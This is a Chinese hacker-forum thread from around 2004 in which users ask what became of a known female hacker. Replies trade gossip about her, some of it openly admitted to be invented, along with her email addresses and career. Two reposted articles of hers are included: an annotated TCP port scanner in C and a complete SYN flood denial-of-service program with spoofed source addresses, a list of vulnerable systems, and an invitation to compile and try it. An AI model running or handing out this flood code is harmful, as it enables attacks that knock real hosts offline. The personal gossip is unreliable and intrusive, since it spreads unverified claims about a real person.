论坛: 轻松一刻 标题: 问一下关于一个女黑客。。 复制本贴地址    
作者: ALLyeSNO [allyesno]    论坛用户   登录
女黑客 佳佳 有人知道 她现在的 所在和 情况吗



地主 发表时间: 04-04-18 07:04

回复: zhushou [zhushou]   论坛用户   登录
我知道!请拨打电话110

B1层 发表时间: 04-04-18 10:33

回复: flythewolf [flythewolf]   论坛用户   登录
知道,但是没有联系,也一直见不到这个人呀

B2层 发表时间: 04-04-20 18:05

回复: BrideX [bridex]   论坛用户   登录
佳佳北京市人,她父亲原市书记后任市长,她在学校学习计算机时,对安全信息感兴趣.
她发表过,(我有些记不起来了.)好像是什么浅谈数据库安全.名声大震.在她的个人主页里,可以看到她的几张真实照片.在她的个性论坛里,绝大多数人是她的FANS,有几个版主是她的朋友.
其中一个叫蚂蚁的一个网络高手,也是她的朋友,和几个喜欢网络安全的朋友到佳佳家做过客.
后来她们的关系就加深了.蚂蚁好像当时有些喜欢佳佳,只是他心里喜欢,不敢说出来..但是佳佳呢,不以为然,她喜欢她们学校的一个会打蓝球的男的!哎,好可怜的蚂蚁呀...
由于佳佳和一些网络安全站点关系,佳佳主页的友情连接包括了中国鹰派中国红客.中国黑盟等安全站点连接.还有好多...当时,记者们称她们为第二代黑客....(佳佳,小榕,LION.等等.注:XUNDI,袁哥,W3,ADAM,冰河,天行,大鹰,小四,无花果,ISNO,LOVEHACKER,等那些人是第一代的.)

我打的字都是骗人的.嘻嘻



[此贴被 BrideX(bridex) 在 04月21日12时09分 编辑过]


[此贴被 BrideX(bridex) 在 04月21日12时15分 编辑过]

B3层 发表时间: 04-04-21 12:01

回复: BrideX [bridex]   论坛用户   登录
还有,当时我翻看她的公开日记时,:"当当书店的店主,用黑客程序破解了佳佳的私人信箱,在QQ上,约佳佳去吃麦什么劳,(麦当劳)在吃着的时候,当当说:"我破解了你的信箱才知道你的一切的.我想和你交个朋友."佳佳一下全部觉悟了,原来你小子对我了解那么多,连我的朋友叫什么在哪住你都知道.原来是这样.佳佳一怒,拿起那个叫做什么火腿什么什么汉宝宝,一下全乎在了当当的脸上,大骂道:"你真混蛋."佳佳跑出了麦当劳.当当呢,哼,这小子也不傻,就去追她了..."
至于后来,我就不知道了...555  哈哈哈.


[此贴被 BrideX(bridex) 在 04月22日13时25分 编辑过]

B4层 发表时间: 04-04-21 14:03

回复: apple01 [apple01]   论坛用户   登录
我名字里也有一个佳字,亲戚朋友都叫我佳佳,55555555555555555可是我菜得不得了……

B5层 发表时间: 04-04-22 12:31

回复: lqfrla [lqfrla]   论坛用户   登录
佳佳是谁啊
没听过啊

B6层 发表时间: 04-04-22 13:17

回复: woodman886 [woodman886]   论坛用户   登录
搞这么神秘干什么,可能她是一部戏的女配角

B7层 发表时间: 04-04-23 15:51

回复: BrideX [bridex]   论坛用户   登录
jjgirl
jjgirl@sina.com : http://jjgirl.yeah.net : 佳佳,人气很旺的女黑客,魅力与威力同在,还把把玉照放在主页上,长得到是挺 : 可爱,在安全界有很多fans。想必大家都读过她的"浅谈数据库攻击"。 :


引用其它站点的中国黑客介绍

很招人喜欢的佳佳。她的亮照我都看过。。。 
 

B8层 发表时间: 04-04-23 17:26

回复: BrideX [bridex]   论坛用户   登录
例出一个JJGIRL的文献.

一个扫描端口软件的分析




http://jjgirl.yeah.net (2001-04-19 13:30:17)
本站点代码本人都在Linux上作过调试,如果在其他Unix系统上有问题

请与本人联系 jjgirl@263.net

本人已加中文注释,如果仍然有问题有给我留言或来信。

/* -*-C-*- tcpprobe.c */

/* tcpprobe - report on which tcp ports accept connections */

/* IO ERROR, error@axs.net, Sep 15, 1995 */

 

#include 

#include 

#include 

#include 

#include 

#include 

/*below seven lines added by jjgirl 4.26.2000 */

#include 

#include 

#include 

#include 

#include 

#include 

#include 

/*jjgirl:以上为头文件,jjgirl加了几个头文件才编译通过! */

int main(int argc, char **argv)

{

//int probeport = 0;

struct hostent *host;

int err, i, net;

struct sockaddr_in sa;

 

if (argc != 2) {

printf("Usage: %s hostname\n", argv[0]);

exit(1);

}

/*jjgirl:以上为检验参数! */

/*jjgirl:以下对1―1024端口开始扫描,你也可以把1024该为65536加大扫描范围。 */

for (i = 1; i < 1024; i++) {

strncpy((char *)&sa, "", sizeof sa);

sa.sin_family = AF_INET;

if (isdigit(*argv[1]))

sa.sin_addr.s_addr = inet_addr(argv[1]);

else if ((host = gethostbyname(argv[1])) != 0)

strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);

else {

herror(argv[1]);

exit(2);

}

sa.sin_port = htons(i);

/*jjgirl:以上为填上sockaddr_in结构的内容,下面的connect要用它! */

/*下面开始socketle 了*/

net = socket(AF_INET, SOCK_STREAM, 0);

if (net < 0) {

perror("\nsocket");

exit(2);

}

/*jjgirl:开始connect! */

err = connect(net, (struct sockaddr *) &sa, sizeof sa);

if (err < 0) {

printf("%s %-5d %s\r", argv[1], i, strerror(errno));

fflush(stdout);

} else {

printf("%s %-5d accepted. \n", argv[1], i);

/*jjgirl:成功打印*/

if (shutdown(net, 2) < 0) { /*不允许接受和发送,但接口仍打开!*/ 

perror("\nshutdown"); 

exit(2);

}

}

close(net);

}//jjgirl:循环结束!

printf(" \r");

fflush(stdout);

return (0);

}








B9层 发表时间: 04-04-23 17:41

回复: BrideX [bridex]   论坛用户   登录
再例一篇JJGIRL的文献

一个SYN攻击的代码分析

一个SYN攻击的代码分析






大家试着读一读,看是否能读懂,不懂可以给我留言。

我加的有中文注释。

/* Syn Attack against a port for Solaris */

/* Original land attack, land.c by m3lt, FLC */

/* Ported to 44BSD by blast and jerm */

/* Ported to Solaris by ziro antagonist */

/* Referenced flood.c by unknown author */

/* Converted into a syn attack against one port by CRG */

/* Please use this for educational purposes only */

/* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */

/* Additional notes: */

/* Successfully compiled on Solaris 2.51 and 2.6 */

/* Runs: synsol    */

/* */

/* Tested it on: Solaris 2.6 */

/* */

/* Attacked against: */

/* Linux 2.0.33 - vulnerable */

/* Linux 2.0.30 - vulnerable */

/* Linux 1.2.13 - vulnerable */

/* Solaris 2.4 - vulnerable */

/* Solaris 2.5.1 - vulnerable */

/* SunOS 4.1.3_U3 - vulnerable */

/* Solaris 2.6 - not vulnerable */

/* */

/* Most of these test machines are not patched because they */

/* are in test lab. I tested the program against port 23 and */

/* every once in awhile I did get through. */

/* */

/* Direct any comments, questions, improvements to */

/* packetstorm@genocide2600.com */

/* http://www.genocide2600.com/~tattooman/ */

/* Your emails will be forwarded to the author, who wishes */

/* to remain known only as CRG (no email addy or URL) */

/*jjgirl:上面的注释的不用说了!*/

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

/*jjgirl:上面是头文件!*/

 

unsigned long srcport;

 

struct pseudohdr

{

struct in_addr saddr;

struct in_addr daddr;

u_char zero;

u_char protocol;

u_short length;

struct tcphdr tcpheader;

};

/*jjgirl:定义一个伪装地址的结构!*/

 

u_short checksum(u_short * data,u_short length)

{

int nleft = length;

int sum=0;

unsigned short *w = data;

unsigned short value = 0;

 

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

 

if (nleft == 1) {

*(unsigned char *) (&value) = *(unsigned char *) w;

sum += value;

}

sum = (sum >>16) + (sum & 0xffff);

sum += (sum >> 16);

value = ~sum;

return(value);

}

/*jjgirl:上面校验文件!包头是需要校验的,CRC校验!*/

 

 

int main(int argc,char * * argv)

{/*jjgirl:主程序开始了!*/

struct sockaddr_in sin;

struct sockaddr_in din;

struct hostent * hoste;

struct hostent * host1;

int j,sock,foo, flooddot=1;

char buffer[40];

struct ip * ipheader=(struct ip *) buffer;

struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));

struct pseudohdr pseudoheader;

/*jjgirl:上面定义变量!*/

 

fprintf(stderr,"Syn attack against one port.(Infinite)\n");

 

if(argc<4)

{

fprintf(stderr,"usage: %s   \n",argv[0]);

return(-1);

}

/*jjgirl:上面是判断参数!*/

fprintf(stderr,"%s:%s is being syn'd attacked by %s.\n",argv[1],argv[2],argv[3]);

bzero(&sin,sizeof(struct sockaddr_in)); /*write sizeof to &sin*/

sin.sin_family=AF_INET;

if((host1=gethostbyname(argv[3]))!=NULL)

bcopy(host1->h_addr,&din.sin_addr,host1->h_length);

else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)

{

fprintf(stderr,"unknown source host %s\n",argv[3]);

return(-1);

}

if((hoste=gethostbyname(argv[1]))!=NULL)

bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);

else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)

{

fprintf(stderr,"unknown destination host %s\n",argv[1]);

return(-1);

}

 

if((sin.sin_port=htons(atoi(argv[2])))==0)

{

fprintf(stderr,"unknown port %s\n",argv[2]);

return(-1);

}

/*jjgirl:上面是给sockaddr_in结构赋值,需要指明协议,端口号!*/

 

 

 

if((sock=socket(AF_INET,SOCK_RAW,255))==-1)

{

fprintf(stderr,"couldn't allocate raw socket\n");

return(-1);

}

/*jjgirl:上面开始Socket了!*/

 

foo=1;

if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1)

{

fprintf(stderr,"couldn't set raw header on socket\n");

return(-1);

}

/*jjgirl:上面是为了重构报头!*/

 

for(j=1;j>0;j++)

{

bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));

ipheader->ip_v=4;

ipheader->ip_tos=0;

ipheader->ip_hl=sizeof(struct ip)/4;

ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);

ipheader->ip_id=htons(random());

ipheader->ip_ttl=30; /*255;*/

ipheader->ip_p=IPPROTO_TCP;

ipheader->ip_sum=0;

ipheader->ip_src=din.sin_addr;

ipheader->ip_dst=sin.sin_addr;

 

tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/

tcpheader->th_dport=sin.sin_port;

tcpheader->th_seq=htonl(0x28374839);

tcpheader->th_flags=TH_SYN;

tcpheader->th_off=sizeof(struct tcphdr)/4;

tcpheader->th_win=htons(2048);

tcpheader->th_sum=0;

 

bzero(&pseudoheader,12+sizeof(struct tcphdr));

pseudoheader.saddr.s_addr=din.sin_addr.s_addr;

pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;

pseudoheader.protocol=6;

pseudoheader.length=htons(sizeof(struct tcphdr));

bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));

tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

/*jjgirl:上面是重构报头!*/

 

srcport= (10000.0*random()/(15000+1.0));

/*jjgirl:端口当然要变!*/

 

if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)

/*jjgirl:攻击开始!*/

{

fprintf(stderr,"couldn't send packet,%d\n",errno);

return(-1);

}

usleep(2);

if (!(flooddot = (flooddot+1)%(1)))

{fprintf(stdout,".");fflush(stdout);}

 

/*jjgirl:显示次数! Jjgirl 把上面一句,改为如下两句,增加显示效果,随你的便!

{fprintf(stdout,".%4d",j);fflush(stdout);}

int k=j; if((k%10)==0) printf("\n"); */

 

} /*The end of the infinite loop*/

close(sock);

return(0);

}

/*jjgirl:结束!编译试试吧!如果有看不懂可以给我留言,或来信jjgirl@263.net,或复习前面的课程!*/

/*jjgirl:若有人引用本文,请事先通知,并请保持完整性!*/



阅读:4214次

责任编辑:faraway

来源:http://jjgirl.yeah.net





B10层 发表时间: 04-04-23 17:43

回复: zjs_wy1234 [zjs_wy1234]   论坛用户   登录
是谁啊
楼主说说她是谁的啊 
我们怎么不认识的啊


B11层 发表时间: 04-04-29 21:51

回复: ALLyeSNO [allyesno]   论坛用户   登录
以前一个颇有名的人 突然消失了

B12层 发表时间: 05-01-17 05:35

回复: TecZm [teczm]   版主   登录
可能嫁人了

B13层 发表时间: 05-01-17 08:50

回复: kellywang [kellywang]   论坛用户   登录
是啊
她现在在干什么呢
好久都没有听说过她了
我都快忘了啊


B14层 发表时间: 05-01-17 17:28

回复: SysHu0teR [syshunter]   版主   登录
如果说从她的那些文章来判断她的技术,

个人觉得那些文章很普通。

B15层 发表时间: 05-01-17 18:59

回复: dd [dd]   论坛用户   登录
呵呵,消失了?
几年前去看过,不过那时候,啥东东都看不懂~~~现在好像也没好多少~~~:)


B16层 发表时间: 05-01-18 05:05

回复: jianzai [jianzai]   论坛用户   登录
你给的网纸打不开呀

B17层 发表时间: 05-01-22 06:42

回复: wzcpa [wzcpa]   论坛用户   登录
真可恶,叫别人帮你点广告。

B18层 发表时间: 05-01-22 11:11

回复: Baal [combook]   论坛用户   登录
我有个朋友也叫

B19层 发表时间: 05-01-25 12:45

回复: verjj [verjj]   论坛用户   登录
我后来在美国遇到了她,她从美国常春藤名校康奈尔大学(Cornell University)毕业以后,在西雅图的亚马逊公司(Amazon)做软件开发主管,现在还在不在Amazon不知道了。她当时负责的一些项目跟网络安全没有关系,是AWS云的一些产品。她的确很聪明,英文说得也非常流利,接近母语的流利。

B20层 发表时间: 23-09-19 07:22

论坛: 轻松一刻

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号